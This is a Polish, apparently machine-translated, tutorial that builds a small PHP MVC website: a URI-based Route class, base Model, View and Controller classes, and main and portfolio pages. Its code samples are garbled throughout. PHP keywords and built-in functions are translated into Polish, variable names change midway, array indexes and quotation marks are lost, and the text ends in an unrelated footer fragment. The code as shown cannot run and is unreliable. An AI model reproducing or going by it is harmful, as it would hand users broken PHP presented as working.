    Umieścimy routing w oddzielnym pliku Route.php w katalogu głównym. W tym pliku opiszemy klasę Route, która będzie uruchamiać metody kontrolera, które z kolei wygenerują widok strony.

    Zawartość pliku Route.php

    class Route ( funkcja statyczna start () ( // kontroler i domyślna akcja $controller_name = "Main" ; $action_name = "index" ; $routes = eksploduj("/" , $_SERVER ["REQUEST_URI" ]); // pobierz nazwa kontrolera if (!empty ($routes )) ( $controller_name = $routes ; ) // pobierz nazwę akcji if (!empty ($routes )) ( $action_name = $routes ; ) // dodaj przedrostki $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // podłącz plik z klasą modelu (może nie być pliku modelu) $model_file = strtolower ($model_name ). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) (include "application/models/" .$model_file ; ) // podłącz plik z klasą kontrolera $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) (include "application/controllers/" .$controller_file ; ) else ( /* poprawne byłoby zgłoszenie tutaj wyjątku, ale dla uproszczenia od razu przekierujemy na stronę 404 */ Route::ErrorPage404(); ) // utwórz kontroler $controller = new $controller_name ; $akcja = $nazwa_akcji ; if (method_exists($controller , $action )) ( // wywołaj akcję kontrolera $controller ->$action (); ) else ( // tutaj również rozsądniej byłoby zgłosić wyjątek Route::ErrorPage404(); ) ) funkcja ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 nie znaleziono" ); header("Status: 404 nie znaleziono" ) ; nagłówek(" Lokalizacja:" .$host .404" ); ) )


    Zauważam, że klasa implementuje bardzo uproszczoną logikę (pomimo obszernego kodu) i może nawet mieć problemy z bezpieczeństwem. Zrobiono to celowo, bo... napisanie pełnoprawnej klasy routingu zasługuje przynajmniej na osobny artykuł. Spójrzmy na główne punkty...

    Globalny element tablicy $_SERVER["REQUEST_URI"] zawiera pełny adres, z którym kontaktował się użytkownik.
    Na przykład: example.ru/contacts/feedback

    Korzystanie z funkcji eksplodować Adres jest podzielony na komponenty. W rezultacie otrzymujemy nazwę kontrolera, dla przykładu jest to kontroler Łączność i nazwa akcji, w naszym przypadku - informacja zwrotna.

    Następnie łączy się plik modelu (może brakować modelu) i plik kontrolera, jeśli taki istnieje, po czym tworzona jest instancja kontrolera i ponownie wywoływana jest akcja, jeśli została opisana w klasie kontrolera.

    Zatem jadąc pod adres np.:
    przykład.com/portfolio
    Lub
    przykład.com/portfolio/index
    Router wykona następujące czynności:

  • będzie zawierać plik model_portfolio.php z folderu models, zawierający klasę Model_Portfolio;
  • będzie zawierać plik kontroler_portfolio.php z folderu kontrolerów, zawierający klasę Controller_Portfolio;
  • utworzy instancję klasy Controller_Portfolio i wywoła opisaną w niej domyślną akcję action_index.
  • Jeśli użytkownik spróbuje uzyskać dostęp do adresu nieistniejącego kontrolera, na przykład:
    przykład.com/ufo
    następnie zostanie przekierowany na stronę „404”:
    przykład.com/404
    To samo stanie się, jeśli użytkownik uzyska dostęp do akcji, która nie jest opisana w kontrolerze.2.2. Wróćmy do implementacji MVC, przejdźmy do folderu core i dodajmy do pliku Route.php jeszcze trzy pliki: model.php, view.php i kontroler.php


    Przypomnę, że będą one zawierać klasy bazowe, które teraz zaczniemy pisać.

    Zawartość pliku model.php
    klasa Model (funkcja publiczna get_data ( ) ( ) )
    Klasa modelu zawiera pojedynczą, pustą metodę pobierania danych, która zostanie zastąpiona w klasach potomnych. Kiedy utworzymy klasy potomne, wszystko stanie się jaśniejsze.

    Zawartość pliku view.php
    widok klasy ( //public $template_view; // tutaj możesz określić domyślny widok ogólny. funkcja generate ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // konwertuj tablicę elementy do zmiennych ekstrakt($data); ) */włącz „aplikację/widoki/” .$template_view ; ) )
    Nietrudno zgadnąć, że to metoda Generować przeznaczony do tworzenia widoku. Przekazywane są do niego następujące parametry:

  • $content_file - widoki wyświetlające zawartość strony;
  • $template_file — szablon wspólny dla wszystkich stron;
  • $data to tablica zawierająca elementy treści strony. Zwykle wypełniane w modelu.
  • Funkcja include dynamicznie łączy ogólny szablon (widok), w którym widok zostanie osadzony
    aby wyświetlić zawartość określonej strony.

    W naszym przypadku ogólny szablon będzie zawierał nagłówek, menu, pasek boczny i stopkę, a zawartość strony będzie zawarta w osobnej formie. Ponownie zrobiono to dla uproszczenia.

    Zawartość pliku kontroler.php
    kontroler klasy ( publiczny $model ; publiczny $widok ; funkcja __construct () ( $this ->view = nowy widok(); ) ))
    metoda indeks_akcji- jest to akcja wywoływana domyślnie, nadpiszemy ją przy implementacji klas potomnych.

    2.3. Implementacja klas potomnych Model i Controller, tworzenie widoków. Teraz zaczyna się zabawa! Nasza witryna wizytówkowa będzie składać się z następujących stron:
  • dom
  • Usługi
  • Teczka
  • Łączność
  • A także - strona „404”.
  • Każda strona ma swój własny kontroler z folderu kontrolerów i widok z folderu widoków. Niektóre strony mogą wykorzystywać model lub modele z folderu modeli.


    Na poprzednim rysunku osobno zaznaczony jest plik template_view.php - jest to szablon zawierający znaczniki wspólne dla wszystkich stron. W najprostszym przypadku mogłoby to wyglądać tak:
    dom
    Aby nadać witrynie reprezentacyjny wygląd, tworzymy szablon CSS i integrujemy go z naszą witryną, zmieniając strukturę znaczników HTML i łącząc pliki CSS i JavaScript:

    Na końcu artykułu, w sekcji „Wynik”, znajduje się link do repozytorium GitHub z projektem, w którym zostały podjęte kroki w celu integracji prostego szablonu.

    2.3.1. Tworzenie strony głównej Zacznijmy od kontrolera kontroler_main.php , oto jego kod:
    klasa Controller_Main rozszerza kontroler (funkcja action_index () ( $this ->view->generate("main_view.php" , "template_view.php" ); ) )
    W metodzie Generować instancji klasy View przekazywane są nazwy plików szablonu ogólnego oraz widok z zawartością strony.
    Oprócz akcji indeksowej kontroler może oczywiście zawierać inne akcje.

    Wcześniej sprawdziliśmy plik widoku ogólnego. Rozważmy plik zawartości main_view.php:
    Powitanie! OLOLOSHA TEAM to zespół najwyższej klasy specjalistów w dziedzinie tworzenia stron internetowych z wieloletnim doświadczeniem w kolekcjonowaniu masek meksykańskich, posągów z brązu i kamienia z Indii i Cejlonu, płaskorzeźb i rzeźb stworzonych przez mistrzów Afryki Równikowej pięciu lub sześciu wieków temu...
    Zawiera proste znaczniki bez żadnych wywołań PHP.
    Aby wyświetlić stronę główną możesz skorzystać z jednego z poniższych adresów:

    • metody bibliotek realizujących abstrakcję danych. Na przykład metody biblioteki PEAR MDB2;
    • metody ORM;
    • metody pracy z NoSQL;
    • itd.
    • Dla uproszczenia nie będziemy tutaj używać zapytań SQL ani instrukcji ORM. Zamiast tego będziemy emulować prawdziwe dane i natychmiast zwracać tablicę wyników.
      Umieść plik modelu model_portfolio.php w folderze models. Oto jego zawartość:
      class Model_Portfolio rozszerza Model ( funkcja publiczna get_data () ( return array (array („Year” => „2012” , „Site” => „http://DunkelBeer.ru” , „Description” => „Strona promocyjna ciemne piwo Dunkel niemieckiego producenta Löwenbraü produkowane w Rosji przez browar „SUN InBev.” ), tablica („Rok” => „2012” , „Site” => „http://ZopoMobile.ru” , „Opis " => "Rosyjskojęzyczny katalog chińskich telefonów Zopo opartych na systemie operacyjnym Android i akcesoria do nich.."), // todo ) ) )

      Klasa kontrolera modelu zawarta jest w pliku kontroler_portfolio.php, oto jej kod:
      klasa Controller_Portfolio rozszerza kontroler ( funkcja __construct () ( $this ->model = nowy Model_Portfolio(); $this ->view = nowy View(); ) funkcja action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
      Do zmiennej dane zapisywana jest tablica zwrócona przez metodę otrzymać dane które oglądaliśmy wcześniej.
      Zmienna ta jest następnie przekazywana jako parametr metody Generować, który zawiera także: nazwę pliku z szablonem ogólnym oraz nazwę pliku zawierającego widok z zawartością strony.

      Widok zawierający zawartość strony znajduje się w pliku portfolio_view.php.
      Teczka

      Wszystkie projekty w poniższej tabeli są fikcyjne, więc nawet nie próbuj korzystać z podanych linków.

      2024 | Komputery dla każdego - konfiguracja, instalacja, odzyskiwanie


      RokProjektOpis